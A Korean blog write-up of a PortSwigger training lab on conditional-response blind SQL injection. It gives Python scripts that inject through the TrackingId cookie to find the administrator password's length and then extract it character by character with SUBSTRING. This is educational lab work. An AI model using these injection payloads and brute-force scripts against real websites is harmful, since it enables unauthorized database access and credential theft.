[PortSwigger] - Lab : Conditional responses blind SQL injection

김성진·2022년 12월 4일
0


blind SqlI 문제인듯 하다. 내가 제일 어려워하는 ㅎㅎ,,,,

약간의 힌트들이 주어져있다.
먼저 SQL Query에 대해 어떠한 결과도 알려주지 않는다고 한다. 그러나 "Welcome back"이라는 메시지가 만약 어떠한 쿼리가 row를 만족시킬 경우 반환된다 한다.

db는 users라는 다른 테이블을 포함하고 있는데, username과 password로 이루어져 있다. 우리는 SQL Injection을 통해 administrator의 password를 찾아야 한다.

문제를 풀기 위해서 administrator로 로그인을 하라 한다.

Hint : You can assume that the password only contains lowercase, alphanumneric characters.


📒 Analysis (blind SqlI) & Exploit

📖 Analysis

아니 솔직히 어이가 없다. (물론 내 실력이 좋지 않아서 ㅎㅎ)
약 3시간 정도 어디에 취약점이 있을 지 돌아다녔고, 마침 쿠키를 봤다가 기존의 session값 말고 TrackingId라는 값이 존재해서, 설마 여기에 blindSqlI를 때려야 하나 고민을 많이 했다.

이렇게 넣었을 때는 Welcome back! 이 출력되었다.

그 말은 결국 해당 쿼리는 만족이 되었다는 소리이며 AND문 우측이 잘 돌아간 것이다.이렇게 바꾼다면 앞서 확인되던 Welcome back!이라는 문자열이 사라진 것이 확인된다. 마찬가지로 AND 우측은 논리적으로 맞지 않는 값이므로 출력이 안되는 것이 맞다. 따라서 우리는 저 TrackingId값 우측에 AND로 유추해야 함을 알 수 있다. 이제 브루트포스를 해야한다.

서버 다시 실행해서 쿠키값 바뀌었다.

📖 Exploit

우선 비밀번호 길이를 알아내보자.

def find_len():
    pwlen = 1
    while True:
        print(pwlen)
        cookie = {"session" : "sfvc9GpPOwfr2Mq0YyyqofWT3mjxkOsW", "TrackingId" : "fnGZ7YfQmYF45FaU' AND length(SELECT password FROM users WHERE username='administrator')="+str(pwlen)+'#--'}
        r = requests.get(url, cookies=cookie)
        print(r.text)
        if 'Welcome back!' in r.text:
            return pwlen
        else: pwlen += 1

안돌아간다. 흠...

import requests
import string

url = 'https://0ad8008404cdc7a7c27049ed00dd000b.web-security-academy.net/'

def find_len():
    pwlen = 1
    while True:
        print(pwlen)
        cookie = {"session" : "sfvc9GpPOwfr2Mq0YyyqofWT3mjxkOsW", "TrackingId" : "fnGZ7YfQmYF45FaU' AND (SELECT username FROM users WHERE username='administrator' AND length(password)="+str(pwlen)+")='administrator'--"}
        r = requests.get(url, cookies=cookie)
        # print(r.text)
        if 'Welcome back!' in r.text:
            return pwlen
        else: pwlen += 1
        
# alphanumeric = string.ascii_lowercase + string.digits
# for i in alphanumeric:
    
#     req = requests.get(url, cookies = cookie)
#     if('Welcome back!' in req.text): print(i)

print('length is',find_len())

후 드디어 돌아갔다.비밀번호는 20글자로, SUBSTRING을 사용하여 문자를 잘라내면 되겠다.

import requests
import string

url = 'https://0ad8008404cdc7a7c27049ed00dd000b.web-security-academy.net/'

def find_len():
    pwlen = 1
    while True:
        print(pwlen)
        cookie = {"session" : "sfvc9GpPOwfr2Mq0YyyqofWT3mjxkOsW", "TrackingId" : "fnGZ7YfQmYF45FaU' AND (SELECT username FROM users WHERE username='administrator' AND length(password)="+str(pwlen)+")='administrator'--"}
        r = requests.get(url, cookies=cookie)
        # print(r.text)
        if 'Welcome back!' in r.text:
            return pwlen
        else: pwlen += 1
        
alphanumeric = string.ascii_lowercase + string.digits

# print('length is',find_len())
password = str()
for i in range(1, 21): # format : substring(password, i, 1) = j 
    for j in alphanumeric:
        query = "fnGZ7YfQmYF45FaU' AND SUBSTRING((SELECT password FROM users WHERE username='administrator'), "+str(i)+", 1)='"+j
        print(query)
        # query = AND (SUBSTRING((SELECT ~~ ), i, 1))
        cookie = {"session":"sfvc9GpPOwfr2Mq0YyyqofWT3mjxkOsW", "TrackingId" : query}
        r = requests.get(url, cookies=cookie)
        if 'Welcome back!' in r.text:
            password+=str(j)
            print(password)
            break
        print(j)

최종 익스플로잇이다.

profile
Today I Learned

0개의 댓글